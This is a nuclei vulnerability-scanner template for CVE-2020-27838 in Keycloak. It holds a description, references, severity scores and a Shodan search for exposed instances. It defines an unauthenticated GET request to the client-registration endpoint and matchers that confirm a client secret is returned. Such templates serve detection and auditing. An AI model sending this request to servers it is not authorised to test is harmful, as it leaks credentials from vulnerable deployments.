nuclei-templates/http/cves/2020/CVE-2020-27838.yaml

52 lines
1.8 KiB
YAML
Raw Normal View History

2024-01-16 09:57:16 +00:00
id: CVE-2020-27838
info:
name: KeyCloak - Information Exposure
author: mchklt
severity: medium
description: |
A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
2024-01-16 21:13:58 +00:00
impact: |
The vulnerability allows an attacker to gain sensitive information from the KeyCloak server.
remediation: |
Apply the latest security patches or updates provided by the KeyCloak vendor.
2024-01-16 09:57:16 +00:00
reference:
- https://bugzilla.redhat.com/show_bug.cgi?id=1906797
- https://nvd.nist.gov/vuln/detail/CVE-2020-27838
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2020-27838
cwe-id: CWE-287
epss-score: 0.00154
epss-percentile: 0.5163
cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
metadata:
vendor: redhat
product: keycloak
shodan-query: title:"keycloak"
2024-01-16 21:13:58 +00:00
tags: cve,cve2020,keyclock,exposure
2024-01-16 09:57:16 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/auth/realms/master/clients-registrations/default/security-admin-console"
2024-01-16 09:59:40 +00:00
2024-01-16 09:57:16 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"clientId":"security-admin-console"'
- '"secret":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 490a0046304402206106e8b9094f442534731e35538295f0188e348bd5cadc316e1eb844cb26155902206394018243e5ff85b912e36284b6a371f3e6108f6dd7be1cdd1c89499d88ed31:922c64590222798bb761d5b6d8e72950